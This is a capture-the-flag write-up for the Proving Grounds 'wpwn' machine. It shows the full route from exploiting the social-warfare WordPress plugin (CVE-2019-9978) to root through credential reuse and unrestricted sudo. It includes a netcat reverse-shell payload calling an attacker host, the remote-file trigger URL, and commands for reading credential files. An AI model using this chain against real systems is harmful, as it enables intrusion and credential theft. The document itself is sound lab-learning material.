Skip to content
HackIndex.io

wpwn Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

wpwn runs WordPress with the vulnerable social-warfare plugin v3.5.2, which carries a remote code execution (CVE-2019-9978) that gives a shell as www-data. The WordPress database password in wp-config.php is reused for the takis account, which has unrestricted sudo, so escalating to root is trivial.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH and HTTP. Brute force the web root, which reveals a /wordpress install, then enumerate its plugins with wpscan.

WordPress enumeration

Enumerate installed plugins.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP/wordpress -e ap 
[i] Plugin(s) Identified:
[+] social-warfare
 | Location: http://$TARGET_IP/wordpress/wp-content/plugins/social-warfare/
 | Version: 3.5.2 (100% confidence)
Explain command
-e ap Enumerate all plugins.

The social-warfare plugin v3.5.2 is installed, which is vulnerable to CVE-2019-9978.

Exploitation

social-warfare RCE (CVE-2019-9978)

The plugin's swp_url parameter fetches and executes a remote file wrapped in <pre> tags. Create a payload that calls back a shell.

<pre>system('nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash')</pre>

Host the payload over HTTP, start a listener, then trigger it by visiting http://$TARGET_IP/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$ATTACKER_IP/shell.txt.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
www-data@wpwn:/var/www/html/wordpress/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Shell as www-data. Read wp-config.php for the database password and enumerate local users.

Privilege Escalation

Credential reuse

The config holds a database password and /etc/passwd lists the user takis.

┌──(kali㉿kali)-[~]
└─$ cat /etc/passwd; cat ../wp-config.php 
root:x:0:0:root:/root:/bin/bash
...
takis:x:1000:1000:takis,,,:/home/takis:/bin/bash
--- wp-config.php ---
define( 'DB_PASSWORD', '$TAKIS_PASSWORD' );

Try the database password against takis over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh -o StrictHostKeyChecking=no takis@$TARGET_IP 
takis@wpwn:~$ id
uid=1000(takis) gid=1000(takis) groups=1000(takis)

The password is reused. Check the sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User takis may run the following commands on wpwn:
    (ALL) NOPASSWD: ALL

takis may run any command as root with no password.

┌──(kali㉿kali)-[~]
└─$ sudo su 
takis@wpwn:~$ sudo su
root@wpwn:/home/takis# whoami
root

Unrestricted sudo gives a root shell.

Related

WordPress Enumeration
Blog

WordPress Enumeration

Enumerate WordPress installations by identifying versions, plugins, themes, and users via WPScan, ma...
WordPress Exploitation
Blog

WordPress Exploitation

Covers exploiting WordPress vulnerabilities including plugin/theme CVEs, xmlrpc abuse, credential at...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...

References